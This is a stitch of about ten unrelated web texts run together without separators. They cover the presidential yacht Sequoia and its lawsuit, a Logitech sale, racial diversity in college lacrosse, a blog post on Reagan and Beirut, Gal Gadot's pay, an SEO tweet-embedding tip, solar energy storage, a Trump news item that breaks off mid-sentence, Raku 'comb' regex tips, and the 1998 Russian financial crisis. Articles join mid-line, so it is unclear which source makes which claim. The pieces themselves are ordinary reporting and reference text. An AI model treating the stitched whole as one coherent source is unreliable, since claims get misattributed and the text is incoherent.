She was decommissioned as an official Navy vessel under Roosevelt during World War II, supposedly because British Prime minister Winston Churchill would not drink liquor on a Navy boat, and she remained decommissioned since.[3] A more likely reason is that alcoholic beverages are prohibited on commissioned U.S. Navy ships and by being "in service", rather than commissioned, the users of the Sequoia could technically not violate the prohibition.
From 1936 through 1969 Sequoia was the official yacht of the Secretary of the Navy. During this period Sequoia was used by presidents and other high-ranking government officials. From 1969 through 1977 the yacht was dual-use for the Navy and executive branch officials including the president. Richard Nixon spent more time on the yacht than any other president.
At Jimmy Carter's direction, the US government sold Sequoia at auction in Manalapan, Florida on 18 May 1977, for $286,000,[5] as a symbolic cutback in Federal Government spending (annual cost to the US Navy was $800,000) and to help eliminate signs of an "imperial presidency".[9]
Notable events aboard Sequoia include:
And some seem to be legends:[10]
Franklin D. Roosevelt and Dwight Eisenhower planned European war strategy. [3]
Harry S. Truman decided to bomb Hiroshima (the decision was made during the Potsdam Conference)
After decommissioning [ edit ]
She had a number of owners over the next 25 years, due in part to the expenses associated with the maintenance of an aging wooden-hulled vessel. Some owners sought to offer Sequoia for charter, and others were non-profit groups seeking to maintain her for historical or other reasons.
The Presidential Yacht Trust, a non-profit organization, acquired her in 1980 and sponsored an eight-month, 6,000-mile "comeback" tour, but this group went bankrupt three years later. After being restored, Sequoia was part of the flotilla of vessels that passed during the International Naval Review at New York City celebrating the centennial of the Statue of Liberty on 4 July 1986.[11] Later the vessel lay derelict for much of the 1990s. Around 2000, Japanese buyers had a contract to purchase the vessel, due to some connections the ship has with Japanese history, (President Ford entertained Japanese Emperor Hirohito onboard, and some say it is where President Truman made the decision to use the atomic bomb against Japan during WWII), but a private American buyer, Gary Silversmith, stepped in and made a counter-offer before the Japanese contract was signed.[3] Sequoia was purchased for $2 million in September 2000, after a shipyard in Norfolk, Virginia had renovated her at a cost of over $3 million. Sequoia underwent additional restoration, and was available for private charters. She operated from Gangplank Marina in southwest Washington, D.C.[3]
Lawsuit [ edit ]
In 2012 Sequoia's owner arranged for a $5 million loan from a newly formed company that was a joint enterprise of a D.C. based merchant bank and an India-based mining conglomerate, where the yacht was offered as collateral.[12] The agreement quickly fell into dispute with the owner claiming that the full loan amount was never received and the lender charging that the vessel's debts and deficiencies had been misrepresented and that it had been fraudulently induced into making the loan.[13] The parties became involved a lawsuit in 2013 with the case eventually being ruled in favor of the lender after alleging that the borrower's legal team had fabricated communications, destroyed evidence, and attempted to intimidate witnesses[14] and Sequoia would be sold to them for $7.8 million less liabilities and expenses.[15] An independent counsel was appointed to oversee the sale of Sequoia but the lender claimed that there were additional liabilities which exceeded the vessel's purchase price and her owner failed to keep her in good working order.[16] On July 30, 2015 the presiding judge ordered the lender to decide within 60 days whether or not it will buy Sequoia. The lender argued that it had until 2017 to decide on its purchase option since the original term of the 2012 loan was for five years.[6]
In a court hearing on May 11, 2016 the cost to restore Sequoia to seaworthy condition ranged from the owner's estimate of $310,000 by a local boat yard to an estimated $4.2 million by a Rhode Island restoration yard. The higher estimate cited rot in the hull, cracked structural blocks, and other mechanical replacements. The owner countered that the yacht, "definitely needs work, but it doesn't need to be rebuilt". The hearing ended with the presiding judge considering hiring his own independent maritime surveyor to evaluate the yacht's condition.[17][18]
On November 14, 2016 the court reached a decision that Sequoia would be sold to the lenders, FE Partners, for zero dollars. The court took into account the loan amount, liens and liabilities on the yacht, and that it was necessary to completely rebuild her hull which would cost an estimated $2.7 million. While all of these expenses exceeded the original $7.8 million option to purchase the yacht, the lender agreed to exercise their option for a minimum of zero. It was determined that Silversmith had fraudulently obtained the loan and failed his contract requirement to keep Sequoia in good working order for her intended purpose: a charter cruise ship on the Potomac River. "...The Sequoia, an elderly and vulnerable wooden yacht, is sitting on an inadequate cradle on an undersized marine railway in a moribund boatyard on the western shore of the Chesapeake, deteriorating and, lately, home to raccoons...The adjusted Exercise Price is zero dollars. The parties should provide a form of order consistent with this Letter Opinion, and inform me of any reason that this matter should not be closed."- Vice Chancellor Sam Glasscock III[7] In a statement after the hearing a legal representative for FE Partners stated that his client "is committed to restoring and preserving the Sequoia in cooperation with the U.S. Coast Guard so that future generations of Americans will be able to enjoy the storied past of this magnificent yacht."[19] However one week later FE Partners petitioned the court to reconsider the zero exercise price as their calculations placed the exercise price at $8.56 million below zero.[20] As of July 2017 the yacht remained in dry storage at Chesapeake Boat Works in Deltaville, Virginia.[21] The new owners estimate that removal of the yacht would require a specialized crane and reconstruction of the hull requiring three different types of wood.[8]
Awards [ edit ]
See also [ edit ]
List of official vehicles of the President of the United States, which includes the other presidential yachts
References [ edit ]A ton of Logitech accessories are insanely discounted, today only
Timmy Johnson Blocked Unblock Follow Following Sep 22, 2015
As they tend to do every few months or so, Amazon is discounting a grab bag of popular Logitech accessories to new low prices as part of a Gold Box deal, today only.
We’ve included a few highlights below, but as always, be sure to head over to Amazon to see the full list. If you’re in the market for a new keyboard, mouse, speaker system, or webcam, this is one of the best collections of deals you’ll ever see. [Amazon]
If you bought anything, or have any recommendations, be sure to sound off in the comments!
Check out the full list here!
Originally published at knowtechie.com on September 22, 2015.Virginia’s Rhamel Bratton, left, takes a shot as Syracuse’s Jovan Miller defends in the second quarter of an NCAA Division I semifinal lacrosse game, Saturday, May 24, 2008, in Foxborough, Mass.
Hope rarely arrives neatly packaged. On the morning of Feb. 13, it appeared as the Hampton Pirates lacrosse team, a motley crew of misfits, cast-offs and neophytes. But when they took the field against the Roberts Wesleyan Redhawks, Hampton became the first historically black college to field a Division I lacrosse team in more than 30 years.
Hampton had zero recruits. It was a team of part-time players and kids who didn’t have much business playing on a D-1 level, a modern-day version of Cool Runnings.
Roberts Wesleyan beat Hampton 20-3, but the score was irrelevant. SportsCenter wasn’t going live for the pregame because it expected a nail-biter. Lacrosse Magazine didn’t put the Pirates on its cover because it was an elite program. This was about optics and otherness.
In 2016, an athletic team composed entirely of African-Americans rarely generates more than a shrug. Precedents in other sports have long been set. But for lacrosse, the scene at Hampton was jarring. This team had a black coach and a black marching band playing in the stands while black fans roared through the biting winter cold. In lacrosse, this was almost unprecedented.
Drew Jenkins grew up in affluent Montclair, New Jersey. Jenkins dreamed of playing for Syracuse, but not because he grew up watching quarterback Donovan McNabb or wanted to follow in New York Knicks forward Carmelo Anthony’s footsteps. Jenkins wanted to play lacrosse for the Orange, a program as successful as Kentucky Wildcats basketball or Ohio State football. It is the alma mater of Jim Brown. Yes, that Jim Brown — perhaps the greatest running back of all time and widely considered the greatest player to pick up a lacrosse stick.
Jenkins’ dream came true in 2011 when he suited up for Syracuse as a freshman. But looking back, he now calls much of his four years at Syracuse a “nightmare.”
“In practice I’d sometimes just literally sit by myself or go into drills by myself and not really talk to anybody,” said Jenkins. “Those days f—— sucked, to be quite honest.”
He describes uncomfortable moments, such as sitting in passive silence as his teammates rapped the N-word to songs they played over the speakers.
“One of the songs they loved to listen to was by YG, it’s called ‘My N—-’ and they would blast that in the locker room before games,” he said. “I didn’t want to make something of it before a game where everybody’s focused and in their groove, so I just put on my headphones and did my own thing.”
(Two white teammates of Jenkins’ agreed to be interviewed for this story and declined to go on the record when asked about the music played in the locker room.)
There’s a cruel sort of pain when one has to combat something that stings with, at best, acquiescence and, at worst, silence. Because Jenkins popped those headphones on and said nothing, it is him and not his teammates who harbors some regret, if not resentment.
“There were a lot of times where I felt like I should have said something, but didn’t,” he said. “I kick myself in the butt all the time for this, because I think about it a lot. It’s like, when you do speak up, you’re the angry black man. And when you don’t, you get walked over.”
By his junior season, Jenkins was considering a boycott after assistant coach Leland Rogers referred to an opposing player as “colored” and didn’t apologize in what Jenkins deemed a sufficient and prompt manner.
In a New York Times article that year documenting the sports’ diversity problem even as participating was growing overall, Rogers explained his usage of the derogatory term: “I didn’t mean it in a bad way. I meant it in a good way. But obviously it came across not in a positive way.”
Rogers’ confusion fit right in line with his boss, head coach John Desko.
“Sometimes I think you find it confusing if you have to call someone an Afro-American or have to describe somebody,” Desko said then. “I am sometimes myself confused on what is appropriate and what isn’t.”
Such tone-deafness is the product of operating in bubble. College lacrosse has remained lily-white as the country has gotten browner.
Of the 2,618 players in Division I men’s lacrosse in the 2014-2015 season, just 88 are black, 57 are Hispanic and 19 are Asian, according to demographics provided on the NCAA’s website. A comparison with the 2007-2008 numbers reveals minimal progress. There were 2,308 Division I men’s lacrosse players in that study, with just 46 black players, 32 Hispanics and 16 Asians.
“Somehow, some people are very satisfied with the way the sport is today in its predominant form,” said Dartmouth professor and historian Bruce Nelson. “I think it’s fair to say that they see the sport as their possession.”
That’s a jarring outcome for a sport that has Native American origins. It was played throughout parts of Canada, the Great Lakes region and the mid-Atlantic seaboard long before European settlers arrived, a game associated with war, played by warriors. European missionaries began playing the game midway through the 1600s. A full embrace came toward the end of the 19th century and the establishment of the U.S. National Amateur Lacrosse Association in 1879. The first tournament was held in 1881. Harvard beat Princeton 3-0 in the championship.
When Jovan Miller played lacrosse at Syracuse, he was good enough to garner All-American status twice — the first African-American to earn the honor at the university since Jim Brown.
By 2012, Miller was playing for the Charlotte Hounds, one of eight teams in Major League Lacrosse. The MLL featured just three black players at the time. In October 2012, after the season had ended, Miller found out on Twitter about the hashtag “Ninjaplease,” a slogan being used by Warrior, MLL’s biggest sponsor and the maker of most of Miller’s gear.
A goalie at St. Andrew’s University tweeted Miller asking if he should be offended by the slogan. Miller replied simply: “Be offended.”
Miller was infuriated. He threatened to retire from the MLL. Less than a month later, Warrior relented and pulled “Ninja, please” completely, along with an apology. It didn’t matter.
Said Miller in 2012 to Lacrosse Magazine: “I feel like I’m not supposed to fit in here,” he said. “What is acceptable? Look at lacrosse right now. Do I have long floppy hair? No I don’t. Do I [put] lacrosse pinnies on my futon? No I don’t. Do I wear mid-calves with boat shoes? No I don’t. That’s what’s acceptable.”
An MLL All-Star in 2012, Miller’s career fell off the tracks in 2013. He played in just 5 of 14 games. He was told not to dress for games.
Miller was traded at the end of the season and didn’t play at all in 2014. He went to study sports management at Loughborough University in Great Britain and was floored when he was picked in the MLL’s supplemental draft in 2015. Miller currently plays for the Florida Launch of the MLL and said the ordeal has left him frustrated. He said he doesn’t share a lot of information with people because of the questions he gets hit with.
“Anytime we bring up something like being a black lacrosse player, it comes with ‘Well, why does it matter if he’s black or white?’ But that’s coming from a lot of people who have never been a minority on a team.”
For years, lacrosse branded itself as the fastest growing sport in America, and like any burgeoning movement, this one also had a slogan: “Grow The Game.”
Enthusiasts and real-deal participants were concentrated in the mid-Atlantic, Long Island and central New York for a long time. But gradually the sport extended its wingspan.
According to the National Federation of State High School Associations, from 2009 to 2014, 551 schools added boys’ programs and 556 schools added girls’ programs. That resulted in a growth rate of 27.8 percent for boys’ lacrosse and 31.2 percent for girls’ lacrosse. No other sport had a growth rate above 10 percent. A 2015 study found lacrosse to be the fastest growing NCAA sport during the last 15 years. Men’s lacrosse grew 95 percent from 2000-2015. In that span, 147 schools across all NCAA divisions added lacrosse as a varsity sport. In Division I men’s lacrosse, this decade has seen Notre Dame emerge as a perennial national power. Denver and Ohio have blossomed into hotbeds. Marquette and Michigan launched Division I programs and 2015 gave birth to Big Ten lacrosse.
Cleveland State begins play as a D-1 program next spring. And while the Northeast and mid-Atlantic continue to supply the D-1 ranks, programs have unearthed elite talent from Florida, Georgia, Texas, Arizona, California, Washington and Colorado. In 2012, Peter Baum, an Oregon native, won the Tewaaraton Award, the Heisman Trophy of college lacrosse.
In so many ways, lacrosse has “grown the game.” Cartographically, lacrosse has never been better represented. But demographically? It’s still failing.
It was a chilly day in Hampton, Virginia, and Pirates coach Lloyd Carter, sitting in front of live ESPN cameras, was asked how he felt.
“There’s only one word — ‘blessed,’ ” he said, turning to an amped gathering of fans. “I can say a million words, but it all comes back to, ‘blessed.’ ”
Decades ago, Carter was a varsity lacrosse player for Morgan State, the last HBCU to field an NCAA-level lacrosse team before Hampton (Morgan State competed in Division II, but regularly played Division I schools). Morgan’s Bears were legit. Players such as Dave Raymond, Joe Fowlkes and Wayne Jackson played at elite levels. The program was an ideal landing spot for black players ignored by programs that fielded what seemed to be exclusively white players.
Carter was a member of one of the last iterations of the Morgan squads. After college, he spent his career moving up the ranks of the Baltimore City Fire Department. Then, a little more than five years ago, he received a call from Verina Crawford. Her son, Michael, had been trying to organize a club-level lacrosse team at Hampton to demonstrate the school was about “embracing change.” Michael Crawford was a multisport participant all his life and wanted to bring the sport that Jim Brown once dominated to his campus. He died of cardiac arrest months later at age 21.
Verina Crawford told Carter about the movement to execute her son’s mission to create a lacrosse team and about how he’d have to make four-hour round-trips. He said he was driven by giving young black men the opportunity to play a sport he loved.
“I had a goalie who had played one year of high school. To me that means, he probably was on the team [but] rarely got in the game and probably hardly [played in] practice, but he was our star goalie,” said Carter.
Where will Hampton’s ambition lead? Will the idea of playing on an HBCU lacrosse team lead to more participation in communities lacrosse wishes to expand into? Can it transcend the current boundaries of race and class?
Said Carter: “My players are trying to see it [the importance of the history], but they really won’t see it until 10, 15 years later.”
Memorial Day weekend is unquestionably the sport’s biggest stage. It’s NCAA championship weekend in Philadelphia (Maryland, Brown, North Carolina and Loyola make up the field). It is, however, far from a showcase for diversity. Of the 175 players who call themselves Terrapins, Bears, Tar Heels, and Greyhounds, only seven are black. North Carolina doesn’t have a single black player on its roster.
There are, however, grassroots efforts to “grow the game.” Harlem Lacrosse, designed to teach the game in low-income and urban areas, operates eight programs in New York City and Baltimore, serving more than 340 boys and girls. They plan to expand to Boston this fall and to Philadelphia in 2017.
Brooklyn Lacrosse holds similar aspirations. It aims to make lacrosse “accessible to all children, despite the various barriers of entry that exist in urban areas such as cost, perception, and logistics.”
Similar organizations such as Blax Lax (Baltimore), Charm City Lax (Baltimore), City Lax (Denver) and OWLS (Chicago) have the same goals. The sport’s governing body, US Lacrosse, advises many of these organizations under the umbrella of the Urban Lacrosse Association.
But Hampton is where the biggest hopes reside.
“The day that Hampton makes the NCAA tournament will be one of the biggest days college lacrosse will see,” said ESPN lacrosse analyst Paul Carcaterra.
ESPN’s lead lacrosse analyst Quint Kessenich said that moment would transcend the sport.
“It would be the equivalent to Texas Western in 1966 in men’s college basketball.”
However, that dream is far in the distance. For now, the journey to diversify the game is only a few steps from genesis. But for the first time in a long time, there’s hope that the sojourn won’t be lonely.
Ryan Cortes is a staff writer for The Undefeated. Lemon pepper his wings.Hullabaloo
Thursday, August 15, 2013
Reagan's Bay of Benghazi
by digby
It is amazing how they right has been able to hide this little bit of history:
When news broke that William Clark, a longtime aide to Ronald Reagan, had recently passed away, several conservative media outlets quickly posted tributes to the man. Touted as the "most important and influential presidential confidante" in nearly a century, Clark was warmly remembered as a "a great treasure to the nation" and an "inspiration."
[...]
But here's what's interesting about Clark's recently lauded resume when viewed against the right wing's permanent Benghazi name calling: Clark served as Reagan's national security advisor between 1982 and 1983. On April 18, 1983, Islamic terrorists attacked the U.S. Embassy in Beirut. Sixty-three people were killed, including 17 Americans, eight of whom worked for the CIA.
Five months later local terrorists struck again. During a lengthy air assault from nearby artillerymen, two Marines stationed at the Beirut airport were killed. Then on October 23, just days after Clark stepped down as national security advisor to become Secretary of the Interior, the Marines' Beirut barracks cratered after a 5-ton truck driven by a suicide bomber and carrying the equivalent of 12,000 pounds of TNT exploded outside; 241 Americans were killed, marking the deadliest single attacks on U.S. citizens overseas since World War II.
Reagan had sent 1,800 Marines to Beirut as part of a larger peacekeeping mission following the June 1982 Israeli invasion of Lebanon and the Palestine Liberation Organization's withdrawal from the country. But national security experts, including some members of Reagan's administration, warned that the Marines were vulnerable to attack.
In the aftermath, Col. Timothy J. Geraghty, the commander of the Marines in Beirut, said, "It didn't take a military expert to realize that our troops had been placed in an indefensible situation." Conservative columnist William Safire referred to the Beirut debacle as Reagan's "Bay of Pigs."
Conservatives have casually smeared numerous Obama officials over Benghazi for the last eleven months, yet the embassy attacks surrounding Clark's tenure as Reagan's national security adviser apparently did not blemish his long public career.
Despite the chronic terror attacks on a U.S. embassy and related facilities-- three separate assaults that claimed nearly 270 American lives in the span of just six months in 1983 -- Judge Clark is to be remembered as a patriot. But Obama officials are supposedly guilty of the unforgivable, treasonous crime of Benghazi.
And after all that happened, what did St Ronnie, slayer of international communists everywhere do? He order the US to "cut 'n run." And they're naming every airport and highway they can find after him.
Just shows to go you: your supporters write your legacy.
digby 8/15/2013 01:00:00 PMGal Gadot. Frazer Harrison/Getty UPDATE: Sources told BuzzFeed Tuesday Gal Gadot was paid "at least" as much for "Wonder Woman" as Henry Cavill was paid for "Man of Steel" and Cavill would not have been paid "anywhere close" to $14 million.
ORIGINAL: Gal Gadot may be the face of the biggest superhero movie on the planet right now, but she didn't get paid like it.
According to The Daily Dot, the star of "Wonder Woman" was paid $300,000. Gadot is currently in the second film of a three-picture deal in which she's being paid that figure for each project ("Batman v Superman: Dawn of Justice," "Wonder Woman," and "Justice League").
Because of the success of "Wonder Woman," Gadot is likely to be eligible for any bonuses in her contract.
It's a surprisingly low number in the superhero-movie world, given the hundreds of millions of dollars paid to make and promote the films. But it's not the first time an actor has gotten that kind of paycheck — Chris Evans also got a base pay of $300,000 for "Captain America: The First Avenger."
However, most actors in the first "Avengers" movie earned between $2 million and $6 million after bonuses, while Robert Downey Jr. took in $50 million.
With "Wonder Woman" having earned over $570 million worldwide to date, Gadot can expect a raise when the sequel is announced.Content Visibility Tactic: Tweet Piggyback
Embedding tweets within content can add greater context to our stories and connect our readers with people and brands of interest. There is a hidden benefit, though, and it’s the way Twitter handles related content.
By embedding a tweet into your page you automatically apply for the “Related headlines” section and may qualify if you meet Twitter’s relevance and quality criteria.
For example, the post I wrote on the 18th of May I later updated with a statement from Matt Cutts via an embedded tweet resulting in our website showing up in the related content section:
This has resulted in a surge of traffic from Twitter (not t.co):
As you can see in the screenshot, related headlines section shows the top three URLs which by default get the most clicks. Users can also click “show more” to reveal additional content. Naturally those headlines wouldn’t receive the same amount of exposure.
Number of tweets doesn’t seem to be the main factor for Twitter’s sorting criteria (only two out of top three tweeted URLs are in the top three related section), so perhaps the timing is also one of the factors.Visitors to last week’s Intersolar North America conference in San Francisco could not help but notice the presence of a benign invader: energy storage vendors. Half the second-floor exhibition space at the Moscone West convention hall had been rented by energy storage companies.
According to Markus Elsaesser, CEO of Intersolar, the number of companies exhibiting energy storage technologies at Intersolar has increased from about a dozen just three years ago to more than 200 this year.
The surge in companies entering, or expanding into, the energy storage space is no accident. Bankruptcies, a panel supply glut, and falling feed-in tariff rates have shaken the PV industry. Panel and system manufacturers are looking for ways to grow earnings, and one likely new revenue source is energy storage. According to Elsaesser, the PV industry expects to boost revenue by $10 billion by 2017 globally with storage.
“The PV industry needs to look for future profit pools,” Markus Hoehner, founder of the International Battery and Energy Storage Alliance (IBESA), said at an Intersolar briefing. “When we look at the PV industry on the global level, most of it was feed-in tariff driven. It was about IRR [internal rate of return], making money out of the PV system. Now, due to the downturn in the feed-in tariff markets, and due to the much lower system cost, we’re talking about saving money.”
Homeowners in markets with high retail electricity rates, he said, are looking to shield themselves from rising energy costs with storage. Take the example of Germany. Matthias Vetter, a researcher with the Fraunhofer Institute for Solar Energy Systems (ISE), who also spoke at the briefing, said that he pays 26 euro cents ($0.34) per kilowatt-hour (kWh) for grid electricity in Germany.
“A [rooftop PV] system owner who has installed 10 years ago, like my father, he gets, still, 55 euro cents [$0.77] per kilowatt-hour,” he said. “He never comes to the idea that he will install storage.”
But for German homeowners who install a new rooftop PV system, the financial incentives look very different. After a series of scheduled reductions, the feed-in tariff rate for rooftop PV now pays 14 euro cents ($0.18)/kWh, according to Hoehner. Homeowners who invest in PV energy storage can therefore store electricity for use later and avoid buying electricity from the grid at 26 to 30 euro cents ($0.30 to $0.39)/kWh.
Hoehner conceded that after accounting for the present cost of battery storage “even in Germany, the investment in a PV system without storage is more profitable.” But, he added, “decreasing FITs [feed-in tariffs] will push the attractiveness of PV storage systems” – as will government incentives.
On May 1, the German federal government launched a program offering a subsidy covering up to 30% of the purchase price of storage systems deployed with new or existing PV installations.
How solar energy storage looks from California
Hoehner then compared Germany to another booming solar market: California. “When we look at the system price … the combination of PV and storage is paying off, has a net positive net present value, in the German market,” he said. But, in California, “when you look at the combined net present value [for PV and storage] the combination is not paying off.”
What accounts for the difference? Germany has much higher retail residential electricity rates ($0.30 to $0.39/kWh) and lower installed PV system costs ($2.51/watt) than California ($0.15/kWh and $5.80/watt, respectively). “Comparably low electricity prices in California as well as high PV system costs are still a barrier for a mass market of PV storage systems,” concluded Hoehner.
Over the short term, it may be that systems installed by large commercial and industrial electricity consumers will do more to drive the energy storage market in California than those installed by homeowners.
“Demand charges are quite high in many states in the U.S. In California, summer peak rates for demand are $25 per kilowatt,” said Tom McCalmont, President, McCalmont Engineering. “It doesn’t take much of a reduction in those kilowatts to have significant benefit.” He noted that advanced energy storage systems qualify for incentives under California’s Self Generation Incentive Program.
The California Energy Storage Alliance (CESA) issued a proposal, he said, arguing that solar coupled with storage and deployed as an energy system should be eligible for the federal investment tax credit. “With the [federal] tax credit and self generation rebate, the payback periods can be quite low.”
To save money with energy storage, large commercial and industrial facilities, including those that have already installed solar, may turn to the same financing vehicle that unlocked the PV market in California: power purchase agreements (PPA) and third-party ownership. Tad Glauthier, Vice President of Customer Development and Operations with Stem, Inc., said his company both sells and leases energy storage systems.
“The very first PPAs that we’ll be releasing are going to be funded by private investors as opposed to banks,” he said, noting banks’ aversion to new financing tools. “You’ll pay as you go and be effectively ‘in the money’ from day one – saving more than you’re paying – from the get-go on your kilowatt reduction.”
“We’re developing those products both as stand alone, as well as paired with solar partners, where the solar partner actually rolls the demand reduction into their PPA,” he added.President Donald Trump meets with Russian Ambassador Sergei Kislyak. Russian Embassy
Some of President Trump's advisers and staff are afraid to leave him alone in meetings with foreign leaders for fear he might say something untoward, The New York Times reported on Tuesday.
The Times' report comes as Trump's administration grapples with its latest controversy, in which it emerged that Trump disclosed top-secret intelligence to Russian officials during a meeting in the Oval Office last week.
That intelligence, the Times reported on Tuesday, came from Israel, |
You can use the fmt method on a list. It will apply its template to each item in the list. You can easily surround each word with braces, for example:
>.comb( /\S+/ ).fmt( '{%s}' ) {Hamadryas} {chloe}
Now you can see which parts of the string belong to which element. This feature pleases me more and more each time I use it. Even though you could do this with a map, this is so much easier.
Try it on this string to extract the species from these scientific names. The <?after... is a lookbehind assertion that says that pattern has to come before the part the matches. But, it matches a condition at a particular point of the string instead of matching characters so that part is part of what comb keeps:
> $_ = 'Hamadryas chloe, Hamadryas epinome, Hamadryas laodamia' Hamadryas chloe, Hamadryas epinome, Hamadryas laodamia >.comb( /<?after Hamadryas \s+> <[a..z]>+/ ) (chloe epinome laodamia) >.comb( /<?after Hamadryas \s+> <[a..z]>+/ ).fmt( '{%s}' ) {chloe} {epinome} {laodamia}
Here’s something a bit more complicated (and contrived even). Make a pattern to grab the items out of a list separated by commas with a final and :
> $_ = 'Daphnaeae, Epimeliades, Kissiae, and Meliae' Daphnaeae, Epimeliades, Kissiae, and Meliae >.comb( rx:i/ <[a..z]>+ <?before [\, \s+ [and \s+]? | $ ]> / ) (Daphnaeae Epimeliades Kissiae Meliae)
There’s a lookahead assertion that looks for a “comma whitespace with optional and” or the end of string. I’ll leave it as an exercise for the reader to work this out for styles that (mistakenly) eschew the Oxford comma.
It’s probably easier to split on the separators in this case, but you’re playing with comb in this tip. You’ll appreciate this more when the parts separating the good bits are more complicated to match than the other way around.
And, for a final tip, comb with no pattern splits into characters:
>.comb (D a p h n a e a e, E p i m e l i a d e s, K i s s i a e, a n d M e l i a e)The Russian financial crisis (also called Ruble crisis or the Russian Flu) hit Russia on 17 August 1998. It resulted in the Russian government and the Russian Central Bank devaluing the ruble and defaulting on its debt. The crisis had severe impacts on the economies of many neighboring countries. Meanwhile, James Cook, the senior vice president of The U.S. Russia Investment Fund, suggested the crisis had the positive effect of teaching Russian banks to diversify their assets.
Background and course of events [ edit ]
Declining productivity, a high fixed exchange rate between the ruble and foreign currencies to avoid public turmoil, and a chronic fiscal deficit were the reasons that led to the crisis. The economic cost of the first war in Chechnya, estimated at $5.5 billion (not including the rebuilding of the ruined Chechen economy), also contributed to the crisis. In the first half of 1997, the Russian economy showed some signs of improvement. However, soon after this, the problems began to gradually intensify.
Two external shocks, the Asian financial crisis that had begun in 1997 and the following declines in demand for (and thus price of) crude oil and nonferrous metals, severely impacted Russian foreign exchange reserves.[1]
A political crisis came to a head in March when Russian president Boris Yeltsin suddenly dismissed Prime Minister Viktor Chernomyrdin and his entire cabinet on 23 March 1998.[2] Yeltsin named Energy Minister Sergei Kiriyenko, then 35 years old, as acting prime minister.
On 29 May 1998, Yeltsin appointed Boris Fyodorov as Head of the State Tax Service.
In an effort to prop up the currency and stem the flight of capital, in June 1998 Kiriyenko hiked GKO interest rates to 150%.
A $22.6 billion International Monetary Fund and World Bank financial package was approved on 13 July 1998 to support reforms and stabilize the Russian market by swapping out an enormous volume of the quickly maturing GKO short-term bills into long-term Eurobonds. The Russian government decided to keep the exchange rate of the ruble within a narrow band, although many economists, including Andrei Illarionov, urged the government to abandon its support of the ruble.
On 12 May 1998, coal miners went on strike over unpaid wages, blocking the Trans-Siberian Railway. By 1 August 1998 there were approximately $12.5 billion in debt owed to Russian workers. On 14 August 1998 the exchange rate of the Russian ruble to the US dollar was still 6.29. Despite the bailout, July 1998 monthly interest payments on Russia’s debt rose to a figure 40 percent higher than its monthly tax collections.
Additionally, on 15 July 1998, the State Duma dominated by left-wing parties refused to adopt most of the government anti-crisis plan so that the government was forced to rely on presidential decrees. On 29 July Yeltsin interrupted his vacation in Valdai Hills region and flew to Moscow, prompting fears of a Cabinet reshuffle, but he only replaced Federal Security Service Chief Nikolay Kovalyov with Vladimir Putin.
At the time, Russia employed a "floating peg" policy toward the ruble, meaning that the Central Bank decided that at any given time the ruble-to-dollar (or RUB/USD) exchange rate would stay within a particular range. If the ruble threatened to devalue outside of that range (or "band"), the Central Bank would intervene by spending foreign reserves to buy rubles. For instance, during the year before the crisis, the Central Bank aimed to maintain a band of 5.3 to 7.1 RUB/USD, meaning that it would buy rubles if the market exchange rate threatened to exceed 7.1 rubles/dollar. Similarly, it would sell rubles if the market exchange rate threatened to drop below 5.3.
The inability of the Russian government to implement a coherent set of economic reforms led to a severe erosion in investor confidence and a chain reaction that can be likened to a run on the Central Bank. Investors fled the market by selling rubles and Russian assets (such as securities), which also put downward pressure on the ruble. This forced the Central Bank to spend its foreign reserves to defend Russia's currency, which in turn further eroded investor confidence and undermined the ruble. It is estimated that between 1 October 1997 and 17 August 1998, the Central Bank expended approximately $27 billion of its U.S. dollar reserves to maintain the floating peg.
It was later revealed that about $5 billion of the international loans provided by the World Bank and International Monetary Fund were stolen upon the funds' arrival in Russia on the eve of the meltdown.[3][4]
Crisis and effects [ edit ]
On 17 August 1998, the Russian government devalued the ruble, defaulted on domestic debt, and declared a moratorium on repayment of foreign debt.[5] On that day the Russian government and the Central Bank of Russia issued a "Joint Statement" announcing, in essence, that:[6]
the ruble/dollar trading band would expand from 5.3–7.1 RUB/USD to 6.0–9.5 RUB/USD; Russia's ruble-denominated debt would be restructured in a manner to be announced at a later date; and, to prevent mass Russian bank default, a temporary 90-day moratorium would be imposed on the payment of some bank obligations, including certain debts and forward currency contracts.[7]
On 17 August 1998 the government declared that certain state securities (GKOs and OFZs) would be transformed into new securities.
At the same time, in addition to widening the currency band, authorities also announced that they intended to allow the RUB/USD rate to move more freely within the wider band.
At the time, the Moscow Interbank Currency Exchange (or "MICEX") set a daily "official" exchange rate through a series of interactive auctions based on written bids submitted by buyers and sellers. When the buy and sell prices matched, this "fixed" or "settled" the official MICEX exchange rate, which would then be published by Reuters. The MICEX rate was (and is) commonly used by banks and currency dealers worldwide as the reference exchange rate for transactions involving the Russian ruble and foreign currencies.
From 17 to 25 August 1998, the ruble steadily depreciated on the MICEX, moving from 6.43 to 7.86 RUB/USD. On 26 August 1998, the Central Bank terminated dollar-ruble trading on the MICEX, and the MICEX did not fix a ruble-dollar rate that day.
On 2 September 1998 the Central Bank of the Russian Federation decided to abandon the "floating peg" policy and float the ruble freely. By 21 September 1998 the exchange rate had reached 21 rubles for one US dollar, meaning it had lost two thirds of its value of less than a month earlier.
On 28 September 1998 Boris Fyodorov was discharged from the position of the Head of the State Tax Service.
The moratorium imposed by the Joint Statement expired on 15 November 1998, and the Russian government and Central Bank did not renew it.
Inflation [ edit ]
Russian inflation in 1998 reached 84 percent and welfare costs grew considerably. Many banks, including Inkombank, Oneximbank and Tokobank, closed as a result of the crisis.
Banking [ edit ]
Bankers Trust suffered major losses in the summer of 1998 due to the bank having a large position in Russian government bonds,[8] but avoided financial collapse by being acquired by Deutsche Bank for $10 billion in November 1998.[9] This made Deutsche Bank the fourth-largest money management firm in the world after UBS, Fidelity Investments, and the Japanese post office's life insurance fund.
Agriculture [ edit ]
The main effect of the crisis on Russian agricultural policy has been a dramatic drop in federal subsidies to the sector, about 80 percent in real terms compared with 1997, though subsidies from regional budgets fell less.[10]
Political fallout [ edit ]
The financial collapse resulted in a political crisis as Yeltsin, with his domestic support evaporating, had to contend with an emboldened opposition in the parliament. A week later, on 23 August 1998, Yeltsin fired Kiriyenko and declared his intention of returning Chernomyrdin to office as the country slipped deeper into economic turmoil.[11] Powerful business interests, fearing another round of reforms that might cause leading enterprises to fail, welcomed Kiriyenko's fall, as did the Communists.
Yeltsin, who began to lose his hold on power as his health deteriorated, wanted Chernomyrdin back, but the legislature refused to give its approval. After the Duma rejected Chernomyrdin's candidacy twice, Yeltsin, his power clearly on the wane, backed down. Instead, he nominated Foreign Minister Yevgeny Primakov, who on 11 September 1998 was approved by the State Duma by an overwhelming majority.
